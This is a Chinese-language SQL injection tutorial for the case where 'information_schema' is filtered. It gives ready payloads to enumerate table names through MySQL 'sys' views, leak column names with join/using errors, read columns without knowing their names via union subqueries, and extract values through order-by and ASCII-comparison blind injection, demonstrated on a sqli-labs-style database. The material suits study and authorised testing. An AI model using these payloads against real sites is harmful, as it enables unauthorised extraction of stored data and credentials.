information_schema被过滤

information_schema被过滤

这个数据库如果被过滤了,那么我们就不能获得表名和字段名了,但是有两个数据库可以代替information_shcema.tables来获取表名

获取表名

可以用

  • sys.schema_auto_increment_columns
  • sys.schema_table_statistics_with_buffer

代替 information_shcema.tables

注意要逐个实验

实例

?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+

?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

获取字段名

join … using …

join用于对两个表进行合并,using 用于在两个表进行合并时根据某列作为主列进行合并。

我们可以用join对同一表进行合并,那么他们的列名就会出现重复,这时就会报错得知列名,然后可以配合上using 对报错出来的列进行排除获取下一个重复的列名:

# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;

子查询

子查询也能用于无列名注入,主要是结合union select联合查询构造列名再放到子查询中实现。

使用如下union联合查询,可以给当前整个查询的列分别赋予1、2、3的名字:

select 1,2,3 union select * from user;

接着使用子查询就能指定查询刚刚赋予的列名对应的列内容了:

select `3` from (select 1,2,3 union select * from user)x;
select x.3 from (select 1,2,3 union select * from user)x;

实战中的应用

select * from user where id='-1' union select 1,2,group_concat(`3`) from (select 1,2,3 union select * from user)x;
select * from user where id='-1' union select 1,2,group_concat(x.3) from (select 1,2,3 union select * from users)x;
select * from user where id='-1' union select 1,2,group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from users)x;

order by盲注

order by用于根据指定的列对结果集进行排序。一般上是从0-9、a-z排序,不区分大小写。

order by盲注为何可以用于无列名注入呢?看个例子。

比如当我们需要猜解第三列的内容时,使用order by实例如下:

select * from user where id='id' union select 1,2,'o' order by 3;
select * from user where id='id' union select 1,2,'p' order by 3;
select * from user where id='id' union select 1,2,'q' order by 3;

当猜测的值大于当前值时,会返回原来的数据即这里看第3列返回是否正常的password,否则会返回猜测的值。因此这样以来就可以在不知道列名的情况下也能猜出某个字段的值。

ascii比较盲注

利用 mysql 比较字符时会转换成 ascii 的特性来进行盲注

原理如下

 

mysql> select 'a'>'c';
+---------+
| 'a'>'c' |
+---------+
|       0 |
+---------+
1 row in set (0.00 sec)

mysql> select 'd'>'c';
+---------+
| 'd'>'c' |
+---------+
|       1 |
+---------+
1 row in set (0.00 sec)

如果是字符串会按照单个字符依次比较, 我就不写了

payload 如下

 

mysql> select * from emails where id=1 and (select 1,binary 'Da',3)>(select * from users limit 0,1);
Empty set (0.00 sec)

mysql> select * from emails where id=1 and (select 1,binary 'D',3)>(select * from users limit 0,1);
Empty set (0.00 sec)

mysql> select * from emails where id=1 and (select 1,binary 'Du',3)>(select * from users limit 0,1);
Empty set (0.00 sec)

mysql> select * from emails where id=1 and (select 1,binary 'Da',3)>(select * from users limit 0,1);
Empty set (0.00 sec)

mysql> select * from emails where id=1 and (select 1,binary 'Dz',3)>(select * from users limit 0,1);
+----+------------------+
| id | email_id         |
+----+------------------+
|  1 | Dumb@dhakkan.com |
+----+------------------+
1 row in set (0.00 sec)

不过这种方法也有个缺点, 例如 users 表的列名是 id username password, 如果你想要猜 password 的内容, 就必须要先把 id 和 username 猜出来

 

(select 1,2,3)>(select * from users limit 0,1); # 第一个位置先猜 id
......

(select 1,'Dumb',3)>(select * from users limit 0,1); # 第二个位置再猜 username
......

(select 1,'Dumb','Dumb')>(select * from users limit 0,1); # 第三个位置才能猜 password